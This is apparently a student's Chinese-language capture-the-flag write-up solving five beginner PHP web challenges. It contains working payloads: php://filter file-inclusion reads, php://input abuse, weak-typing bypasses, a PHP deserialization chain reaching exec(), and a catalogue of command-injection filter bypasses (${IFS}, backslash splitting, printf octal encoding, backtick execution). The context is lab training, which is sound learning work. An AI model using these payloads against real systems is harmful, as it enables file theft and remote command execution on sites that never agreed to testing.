题目目录
- 1. fileinclude
- 2. fileclude
- 3. easyphp
- 4. file_include
- 5. unseping
1. fileinclude
一道文件包含题,对文件包含还是不太懂,直接看flag.php文件什么都没有。
根据WriteUp提示先f12查看源码,发现了文件包含的漏洞点lan.php文件,如图:
$lan
的值来自cookie中的language
值,并且注意,include中有".php
"字符串和$lan进行拼接,因此注意包含的时候不要带后缀以免重复。
对网页进行抓包,修改cookie,在cookie的内容中使用php://filter伪协议来进行任意文件读取:
language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag
然后重放包:
将之前的内容进行base64解密得到flag。
2. fileclude
打开网址看到源码:
分析源码可以看到,存在flag.php这个文件。
继续看后面的代码,需要GET “file1”、"file2"两个参数,因此在url上需要构造
?file1=.. & file2=..
这个形式的链接。
继续看后面的分析,需要获取file2中的内容为"hello ctf",然后将file1包含,这个file1就是我们文件包含漏洞可以利用的地方,将查看flag.php作为file1的内容被包含进去,此处可以利用php://filter伪协议来进行任意文件读取,内容如下:
file1=php://filter/read=convert.base64-encode/resource=flag.php
接下来考虑file2对file_get_contents函数的绕过,需要我们传入的file2文件内容为"hello ctf"才会进行下一步判断。
各个伪协议的含义参考该博客:CTF伪协议绕过file_get_contents
将几个本题用到的伪协议的含义贴在这里:
php://filter
的作用是:读取源代码并进行base64编码输出
php://input
可以访问请求的原始数据的只读流(即可以直接读取到POST上没有经过解析的原始数据),将post请求中的数据作为PHP代码执行。
(注意:在“enctype="multipart/form-data"的时候 php://input 是无效的)
可以通过php://input来在post的请求体中进行内容的上传,也就是构造file2=php://input
后,BurpSuite进行抓包,在请求体中添加内容 “hello ctf”
构造包与响应结果如下:
将响应包最后的加密内容用base64解密即可获得flag。
3. easyphp
打开链接看到源代码进行分析:
看到最后当 $key1
和 $key2
都不为0时可以拿到flag,因此需要让我们构造的参数的值满足前面的条件。
$a
, $b
都是直接从GET获得参数。
isset()
函数判断变量是否已经声明,参考博客:
PHP中isset函数的用法
intval()
函数获取变量的整数值,具体用法参考博客:
php特性之intval学习小记
substr(string,start,length)
函数返回字符串的一部分,start:负数 - 在从字符串结尾开始的指定位置开始;length:正数 - 从 start 参数所在的位置返回的长度,负数 - 从字符串末端返回的长度,如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
参考博客:
PHP substr() 函数
接下来, $a
需要满足的条件有:
$a转换为整型后的值>6000000,且 $a的长度<=3。
根据该函数的参考博客我们知道,有1e
这种格式可以用来表示10的多少次方,6e6
就表示6*10^6也就是6000000,可以满足我们长度<=3的要求,因此可以构造:
a=7e6
接下来看 $b需要满足的条件:
substr(md5( $b),-6,6)
表示将 $b用md5加密后的字符串从倒数第6个字符开始向后数6个字符,也就是最后6个字符,要求最后6个字符为’8b184b’。
这个需要写一个哈希碰撞的脚本,脚本如下:
import hashlib
for i in range(10000000):
i=str(i)
m=hashlib.md5(i.encode(encoding='UTF-8'))
psw=m.hexdigest()
#hash.hexdigest(),返回摘要,作为十六进制数据字符串值
#hash.digest(),返回摘要,作为二进制数据字符串值
if psw.endswith("8b184b"):
print(i)
运行结果:
53724
7597945
因此可以构造:
b=53724
参考博客:
根据部分MD5数据解码原数据
python3中digest()和hexdigest()区别
接下来看参数c部分的代码:
首先参考博客:
json_decode详解
了解json_decode函数,它对JSON格式的字符串进行编码,源码中前面添加了(array),则是将其转换为Array类型。
因此我们构造的c应该是JSON格式的字符串,例如:
$json = '{"a":"php","b":"mysql","c":3}';
#其中a为键,php为a的键值。
其以Array格式输出的内容为:
Array (
[a] => php
[b] => mysql
[c] => 3 )
echo $json_Array['a'];
程序输出:php
再看源码要求:
!is_numeric(@$c["m"]) && $c["m"] > 2022
要求$c[“m”]不是数字字符串并且 $c[“m”] > 2022,根据我们前面
攻防世界题目练习——Web难度1(一)中的12.simple_php中学到的is_numeri绕过,
可以构造"m":"2023a"
。
再看对$c的"n"的要求:
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}
is_array()
判断是否是数组变量:PHP is_array()函数详解,PHP判断是否为数组
count()
返回数组中元素的数目:PHP count() 函数
array_search("DGGJ", $c["n"])
在数组 $c[“n”]中搜索键值 “DGGJ”,并返回它的键名:PHP array_search() 函数
foreach($c["n"] as $key=>$val)
foreach仅能用于遍历数组,每次循环中,当前单元的键值被赋给 $val,当前单元的键名也会在每次循环中被赋给变量 $key。参考博客:PHP: foreach - Manual
因此我们可以读懂对"n"的要求:
是数组、数组有2个元素、且第一个元素是数组。
if里面的内容:
$d = array_search("DGGJ", $c["n"]);
要求存在键值"DGGJ";
后面foreach循环又说明遇到值为"DGGJ"的就退出;
这里看起来很矛盾,因此需要绕过其中一个条件。
参考博客的题解:
CTF之旅WEB篇(8)–[xctf] 江苏工匠杯easyphp
指出array_search()
函数可以绕过,我们学习一下这个函数:
PHP: array_search - Manual
江苏工匠杯easyphp(array_search绕过)
array_search(mixed $needle, array $haystack, bool $strict = false): int|string|false
我们可以知道这个函数有3个参数,第3个参数通常默认为false,如果可选的第三个参数 strict 为 true,则 array_search() 将在 数组 中检查完全相同的元素。 这意味着同样严格比较前两个参数的类型。
因此当第3个参数为false时,就导致了弱类型比较漏洞,也就是这个函数的比较相当于在用"=="
进行比较。
举例:
“admin”==0 //admin被转换成数字,由于admin是字符串,转换失败,int(admin)=0,所以比较结果是true。参考文章:【从零开始学CTF】4、PHP中的弱类型比较。
因为本题中字符串"DGGJ"是没有数字的字符串,因此,当我们的$c[“n”]=0的时候(或者null),会将前面要查找的字符串自动转化为0然后进行比较。只需要保证在c[“n”]中非0下标的元素中存在值0即可,在php中"字符串"==0是成立的。
所以构造"n":[[],0]
其中[]
是短数组语法,参考博客:PHP: Array 数组 - Manual
综上,构造url的GET参数为:
?a=7e6&b=53724&c={"m":"2023a","n":[[],0]}
成功获取flag
4. file_include
题目源码如下:
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
用御剑扫描目录后知道同一目录下存在flag.php文件。
尝试用php://filter/read=convert.base64-encode/resource=flag.php
获取flag,出现报错提示:“do not hack”。
后又尝试了data://text/plain、php://input,想上传可执行命令或者木马来查看flag都失败了,页面没有任何反应。
查看WriteUp,他们说有存在一些字符过滤,可能对base64、read都进行了过滤。
看了他们的解答知道了有另一种转换过滤器iconv.* 可以用,具体参考博客:
详解php://filter以及死亡绕过
还是不懂加不加"read="有什么区别。
从博客知道convert.iconv.<input-encoding>.<output.encoding>
支持多种编码方式,并且存在后面两个位置都要进行编码方式的设置。
需要构造url如下:
?filename=php://filter/convert.iconv.xx.xx/resource=flag.php
于是用BurpSuite对这两个位置用convert.iconv*支持的几种编码方式进行爆破。
支持的编码方式参考官方文档:PHP: Supported Character Encodings - Manual
筛选了一些常用的编码方式作为字典进行爆破:
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
在一堆爆破结果返回长度较长的结果中查看他们的响应报文,找到flag显示比较正常的那些,如下图:
5. unseping
先放两篇参考文献,等我看懂再写
unseping
PHP反序列化漏洞详解(万字分析、由浅入深)
要看懂WriteUp,首先要理解php反序列化漏洞的原理,参考文献如上。
网页源码如下:
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
根据php的参考博客中的讲解我们知道,php中存在一些以两个下划线__
开头的函数,称为魔术方法(Magic methods),后面我们简称为魔法函数 : )
这些函数在这段源码中具体有:
__construct
(类的构造函数,创建对象时触发)
__destruct
(类的析构函数,对象被销毁时触发)
__wakeup
(执行unserialize()时,先会调用这个方法)
php反序列化漏洞的原理就是:
php为了方便传输一个对象而将这个对象序列化为一个字符串,反序列化就是将这个字符串重新恢复为一个对象。
php只序列化属性而不序列化其中的方法,正常使用这个对象的话我们必须要依托这个类要在当前作用域存在的条件,漏洞利用攻击就是寻找合适能被控制的属性,利用作用域本身存在的方法,基于属性发动攻击。
也就是说,将我们反序列化后的对象中的属性带入到作用域中存在的方法进行利用。
当传给unserialize()的参数可控时,可以通过传入一个精心构造的序列化字符串,使其被反序列化后的内容包含我们想要传递的对象的属性参数,使这个参数带入到某一个方法中。
具体到这个题目里,有method
和args
两个属性,call_user_func_array
回调函数将args
作为method
表示的函数的参数来调用method
,前面的if条件要求method中含有数组"ping",简单点也就是要求$method=“ping”,从而调用function ping
。
仔细看function ping
中其实并没有执行ping命令,而是直接用exec()函数将function ping
的参数作为命令来执行。再结合前面的回调函数将args
作为method
的参数,也就是说,可以将我们想要执行的命令作为args
参数传进exec()
函数中执行。
再看源码中的function __wakeup()
函数,调用function waf($str)
函数对args
参数的值进行匹配。
匹配规则:
waf函数中用preg_match_all()
函数进行了匹配,第一个参数是给定的用来模式匹配的正则表达式,第二个参数是输入的要匹配的字符串。
第一个参数"/(\||&|;| |\/|cat|flag|tac|php|ls)/"
中正则表达式各个字符含义如下:
最外面一对//
是一对定界符,每段正则表达式都要有;
里面一对()
被用来合并小节,并定义字符串中必须存在的字符。例如(a|b|c) 能够匹配 a 或 b 或 c;
要使用一些符号本身,必须在前增加一个\
,\
将下一个字符标记为一个特殊字符、或一个原义字符;
|
是选择符 匹配它的左边或者右边;
有一些修正符例如i
,在//
的后面加上i
则表示不区分大小写来匹配
因此,源码中匹配规则的各个字符拆分组合如下:
\|
(特殊字符|
) | &
| ;
|
(空格) | \/
(特殊字符/
) | cat
| flag
| tac
| php
| ls
参考博客:
preg_match函数的用法和匹配字符的的含义
PHP正则表达式
字符绕过:
现在我们知道了waf函数过滤的有哪些字符或字符串,我们要避免直接输入这些关键词,但是有些字符在我们查找flag的过程中不可避免地会用到,因此我们对它们进行绕过,绕过的方式有如下几种。
(1)引号绕过:
根据php单双引号的性质,被单引号括起来的字符都是普通字符,就算特殊字符也不再有特殊含义,如 ‘$’ 就只表示字符 $ ;而被双引号括起来的字符中," $ “、” \ " 和反引号是拥有特殊含义的," $ " 代表引用变量的值,而反引号代表引用命令。
并且在linux 下,只要引号是出于闭合状态都不影响命令执行。
使用示例:
$name=123;
echo '$name','\n';
输出结果:
$name\n
echo "$name";
输出结果:
123
ls''
l""s
''ls
都可以正常输出ls命令执行的结果
cat ''12""3.txt""
可以正常输出命令cat 123.txt的执行结果
(2)空格绕过:
空格可以用以下字符代替:
<
、<>
、%20(space)
、%09(tab)
、$IFS$9
、 ${IFS}
、$IFS
等
${IFS}
是Linux中的一个特殊变量,它代表了当前的字段分隔符,它的默认值是空格、制表符和换行符,当输入命令时,会以空格、制表符或换行符作为分隔符,将输入的内容分割成不同的字段,每个字段将作为命令的一个参数进行解析和执行。${IFS}
是在命令执行之前被解析和替换的,在命令执行时不会再被解析为字段分隔符,想作为普通字符使用就要转义或者用单引号。
$IFS
在Linux下表示为空格,$9
是当前系统shell进程第九个参数持有者,始终为空字符串,$IFS
在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个 $ 可以起到截断的作用 $ 后可以接任意数字,例如 $IFS$1
、 $IFS$2
使用示例:
echo 12${IFS}34
输出结果:
12
34
cat<>123.txt
cat$IFS$1flag.php
(3)printf编码绕过:
printf的格式化输出,可以将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出。
使用示例:
$(printf "\154\163")
==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
==>cat /flag
(4)利用Shell 特殊变量绕过
linux shell中
$0 是当前脚本的文件名
$n 表示传递给脚本或函数的参数。
n 是一个数字,表示第几个参数。
例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
示例:ca$1t fla$2g
$* 传递给脚本或函数的所有参数,而参数不存在时其值为空。
$@ 是传递给脚本或函数的所有参数,参数不存在时其值为空。被双引号包函时与$*稍有不同
示例:ca$@t fla$@g
(5)反斜杠绕过
使用示例:
c\at fl\ag
(6)变量拼接绕过:
示例:
a=c;b=at;c=fl;d=ag;$a$b $c$d
(7)内联执行绕过:
意思是以某一个指令的输出结果作为另一个指令的输入项。
使用示例:
cat$IFS$9`ls`
m0re $(pwd)
echo “a`pwd`”//以在根用户目录下胃里
输出结果:
a/root
echo “abcd $(pwd)”
输出结果:
abcd /root
参考博客:
命令执行漏洞各种绕过方式
关于命令执行/注入 以及常见的一些绕过过滤的方法
CTFWeb-命令执行漏洞过滤的绕过姿势
在本题目中,我们直接使用${IFS}
绕过空格,反斜杠\
将命令分隔开来绕过即可。
接下来我们构造第一步的payload:
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('l\s'));
$b = serialize($a);
echo $b;//查看序列化后的内容
//因为源码中最后反序列化的是base64解码后的内容,所以我们需要对序列化后的内容进行base64编码
echo base64_encode($b);
?>
可以用在线工具跑脚本
输出结果:
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:3:"l\s";}}Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJsXHMiO319
payload就是后面编码的一段,我们用BurpSuite抓包后上传payload:
可以看到在当前目录下还存在另一个目录"flag_1s_here",我们继续上传一个查看该目录的命令的payload。
在线跑脚本工具:PHP 在线工具 | 菜鸟工具
生成payload的脚本如下:
//只变更$a的内容,其他部分不再重复
$a = new ease("ping",array('l\s${IFS}fl\ag_1s_here'));
输出结果:
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:22:"l\s${IFS}fl\ag_1s_here";}}Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyMjoibFxzJHtJRlN9ZmxcYWdfMXNfaGVyZSI7fX0=
上传payload:
可以看到该目录下存在文件"flag_831b69012c67b35f.php",我们要用cat命令查看该文件的内容时,不可避免地要使用/
来访问flag_1s_here目录下的flag_831b69012c67b35f.php文件,也就是flag_1s_here/flag_831b69012c67b35f.php。而在源码中我们可以看到/
已经被列入了过滤的名单,我们要绕过对/
的过滤可以考虑用printf编码绕过的方式。
我们用$(printf${IFS}"\x2f")
来替换/
的位置,\x2f是/
的十六进制编码,它的八进制编码是\57,我们尝试用十六进制绕过时发现不行,于是尝试用八进制编码,脚本如下:
//只变更$a的内容,其他部分不再重复
$a = new ease("ping",array('c\at${IFS}fl\ag_1s_here$(printf${IFS}"\57")fl\ag_831b69012c67b35f.p\hp'));
输出结果:
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:70:"c\at${IFS}fl\ag_1s_here$(printf${IFS}"\57")fl\ag_831b69012c67b35f.p\hp";}}Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3MDoiY1xhdCR7SUZTfWZsXGFnXzFzX2hlcmUkKHByaW50ZiR7SUZTfSJcNTciKWZsXGFnXzgzMWI2OTAxMmM2N2IzNWYucFxocCI7fX0=
上传payload看到flag如图:
如果不采用编码替换/
,可以考虑内联执行的方法,用其他命令的执行结果来替换flag_1s_here/flag_831b69012c67b35f.php。
参考博客江苏工匠杯-unseping&序列化,正则绕过(全网最简单的wp)后我们知道,可以用find命令列出当前目录及子目录下的所有文件,然后用cat命令查看文件内容。
//只变更$a的内容,其他部分不再重复
$a = new ease("ping",array('c\at${IFS}`find`'));
输出结果:
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:16:"c\at${IFS}`find`";}}Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjoiY1xhdCR7SUZTfWBmaW5kYCI7fX0=
上传payload,结果如下:
—————————————————Web难度1的题终于做完了T_T——————————